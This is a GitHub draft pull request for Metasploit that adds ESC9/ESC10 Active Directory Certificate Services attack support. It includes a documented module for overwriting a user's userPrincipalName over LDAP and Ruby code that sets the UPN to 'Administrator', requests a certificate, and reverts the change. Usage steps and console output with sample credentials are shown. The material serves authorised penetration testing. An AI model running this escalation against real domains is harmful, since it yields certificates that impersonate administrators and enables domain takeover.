Skip to content

Add Support for ESC9 & ESC10 #20189

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draft
wants to merge 3 commits into
base: master
Choose a base branch
from
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view

Large diffs are not rendered by default.

77 changes: 77 additions & 0 deletions documentation/modules/auxiliary/gather/ldap_update_object.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
## Description

The `ldap_update_object` module allows users to update attributes of LDAP objects in an Active Directory environment.
This module is flexible, enabling users to specify the target object and the attribute they wish to modify.

## Verification Steps

1. On the target host determine the current UPN value of the user you wish to update:
```powershell
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName

UserPrincipalName
-----------------
user2
```
1. Start `msfconsole`
1. Do: `use auxiliary/gather/ldap_update_object`
1. Do: `set RHOST [IP]`
1. Do: `set LDAPDomain [DOMAIN]`
1. Do: `set LDAPUsername [USERNAME]`
1. Do: `set LDAPPassword [PASSWORD]`
1. Do: `set TARGET_USERNAME [TARGET_USERNAME]`
1. Do: `set ATTRIBUTE userPrincipalName`
1. Do: `set NEW_VALUE Administrator`
1. Do: `run`
1. Verify the attribute has been updated successfully:
```powershell
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName

UserPrincipalName
-----------------
Administrator
```

## Options

### TARGET_USERNAME
The username of the target LDAP object whose attribute you want to update. This is used to locate the specific object in the LDAP directory.

### ATTRIBUTE
The LDAP attribute to update. For example, `userPrincipalName` can be used to update the User Principal Name of the target object.

### NEW_VALUE
The new value to assign to the specified attribute. For example, if updating the `userPrincipalName`, this would be the new UPN value, which might be `Administrator`

## Scenarios
### Update the userPrincipalName of user2 from "user2" to "Administrator" using user1's credentials (who has Write privileges over user2).

```
msf6 auxiliary(gather/ldap_update_object) > set attribute userPrincipalName
attribute => userPrincipalName
msf6 auxiliary(gather/ldap_update_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(gather/ldap_update_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(gather/ldap_update_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(gather/ldap_update_object) > set new_value Administrator
new_value => Administrator
msf6 auxiliary(gather/ldap_update_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(gather/ldap_update_object) > set target_username user2
target_username => user2
msf6 auxiliary(gather/ldap_update_object) > run
[*] Running module against 172.16.199.200
[*] Connecting to LDAP on 172.16.199.200:389...
[*] Searching for DN of target user user2...
[+] Found target user DN: CN=user2,CN=Users,DC=kerberos,DC=issue
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[*] Auxiliary module execution completed
```

## Notes

- Ensure the user account used for authentication has sufficient privileges to modify the specified attribute.
- Use caution when modifying LDAP attributes, as incorrect changes can disrupt directory services.
2 changes: 1 addition & 1 deletion lib/msf/base/serializer/readable_text.rb
Original file line number Diff line number Diff line change
Expand Up @@ -587,7 +587,7 @@ def self.dump_options(mod, indent = '', missing = false, advanced: false, evasio
next if tbl.rows.empty?

if conditions.any?
option_tables << "#{indent}When #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n#{tbl}"
option_tables << "#{indent}When #{Msf::OptCondition.format_conditions(conditions)}:\n\n#{tbl}"
else
option_tables << tbl.to_s
end
Expand Down
3 changes: 2 additions & 1 deletion lib/msf/core/exploit/remote/ldap.rb
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,8 @@ def get_connect_opts
ldap_krb5_cname: datastore['LDAP::Krb5Ccname'],
proxies: datastore['Proxies'],
framework_module: self,
kerberos_ticket_storage: kerberos_ticket_storage
kerberos_ticket_storage: kerberos_ticket_storage,
ldap_rport: datastore['LDAPRport'],
}
case datastore['LDAP::Signing']
when 'required'
Expand Down
115 changes: 115 additions & 0 deletions lib/msf/core/exploit/remote/ms_icpr.rb
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@ module Exploit::Remote::MsIcpr

include Msf::Exploit::Remote::SMB::Client::Ipc
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::LDAP

# [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71)
OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze
Expand Down Expand Up @@ -99,6 +100,19 @@ def request_certificate(opts = {})
raise MsIcprUnexpectedReplyError, "Connection failed (unexpected status: #{e.status_name})"
end

if datastore['UPDATE_LDAP_OBJECT']
# Get the original value before updating
opts[:original_value] = get_original_ldap_object_value
display_value = opts[:original_value].to_s.empty? ? '<null>' : opts[:original_value]

# Update the UPN or dnsHostname of the target user before requesting the cert in order to exploit ESC9 or ESC10
print_status("Updating #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to #{datastore['NEW_VALUE']}")
update_ldap_object(datastore['NEW_VALUE'])

# Ensure we're requesting the cert for the correct user (the one we just updated)
opts[:username] = datastore['TARGET_USERNAME']
end

do_request_cert(icpr, opts)

rescue RubySMB::Dcerpc::Error::FaultError => e
Expand Down Expand Up @@ -266,6 +280,21 @@ def do_request_cert(icpr, opts)
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
print_status("Certificate stored at: #{stored_path}")

if datastore['UPDATE_LDAP_OBJECT'].present?
# If the UPN was changed the certificate we requested won't work until we revert the UPN change. If the
# dnsHostName was changed the cert will still work however we'll revert the change to keep the system clean.

# If the original value was empty which is very common, opts[:original_value] will be nil, so create a display
# value of <null> (which is technically what it's equal to on Windows) to make it clear for the user and also
# set opts[:original_value] to an empty string as the ldap_update_object will error if we try and pass in
# a NEW_VALUE datastore value of nil.
if opts[:original_value].to_s.empty?
display_value = '<null>'
opts[:original_value] = ''
end
print_status("Reverting #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} back to #{display_value}")
update_ldap_object(opts[:original_value])
end
pkcs12
end

Expand Down Expand Up @@ -480,5 +509,91 @@ def icpr_service_data
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
}
end

def domain_to_base_dn(domain)
domain.split('.').map { |dc| "DC=#{dc}" }.join(',')
end

def get_original_ldap_object_value
if datastore['TARGET_USERNAME'].end_with?('$')
objectClass = "computer"
else
objectClass = "user"
end
search_filter = "(&(objectClass=#{objectClass})(sAMAccountName=#{datastore['TARGET_USERNAME']}))"
search_attribute = datastore['UPDATE_LDAP_OBJECT'].downcase

# TODO address the comments below
# Was hoping to just send the opts hash into ldap_connect but LDAP datastore options need to be set explicitly
# username = datastore['LDAPUsername'] || datastore['SMBUser']
# password = datastore['LDAPPassword'] || datastore['SMBPass']
# domain = datastore['LDAPDomain'] || datastore['SMBDomain']
# opts = {username: username, password: password, domain: domain, port: 389}

datastore['LDAPUsername'] = datastore['SMBUser'] if datastore['LDAPUsername'].blank?
datastore['LDAPPassword'] = datastore['SMBPass'] if datastore['LDAPPassword'].blank?
datastore['LDAPDomain'] = datastore['SMBDomain'] if datastore['LDAPDomain'].blank?

attribute_value = ''

# ldap_connect({:port => 389, :domain => datastore['SMBDomain'], :username => datastore['SMBUser']}) do |ldap|
ldap_connect({:port => 389, :domain => datastore['SMBDomain'], :username => datastore['SMBUser']}) do |ldap|
validate_bind_success!(ldap)
treebase = domain_to_base_dn(domain)
filter = Net::LDAP::Filter.construct(search_filter)

result = []
ldap.search(base: treebase, filter: filter, attributes: search_attribute) do |entry|
result << entry
end


if result.empty?
fail_with(::Msf::Module::Failure::NotFound, "Could not find any object matching the filter: #{search_filter}")
else
attribute_value = result.first[search_attribute]&.first
if attribute_value.nil?
print_good("The original value of #{search_attribute} was not set for #{datastore['TARGET_USERNAME']}. This is to be expected for the dNSHostName of machine accounts or the UPN of the builtin Administrator")
else
print_good("Retrieved original value for #{search_attribute}: #{attribute_value}")
end
end
end
attribute_value
end

def update_ldap_object(new_value)
mod_refname = 'auxiliary/gather/ldap_update_object'

print_status("Loading #{mod_refname}")
ldap_update_module = framework.modules.create(mod_refname)

unless ldap_update_module
print_error("Failed to load module: #{mod_refname}")
return
end


# Default to using the SMB credentials if LDAP credentials are not provided
ldap_update_module = framework.modules.create(mod_refname)
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
ldap_update_module.datastore['LDAPDomain'] = datastore['SMBDomain'] || datastore['LDAPDomain']
ldap_update_module.datastore['LDAPUsername'] = datastore['SMBUser'] || datastore['LDAPUsername']
ldap_update_module.datastore['LDAPPassword'] = datastore['SMBPass'] || datastore['LDAPPassword']
ldap_update_module.datastore['OBJECT'] = datastore['TARGET_USERNAME']
ldap_update_module.datastore['ATTRIBUTE'] = datastore['UPDATE_LDAP_OBJECT']
ldap_update_module.datastore['NEW_VALUE'] = new_value


print_status("Running #{mod_refname}")
ldap_update_module.run_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => false
)
end

end

end
Loading
Loading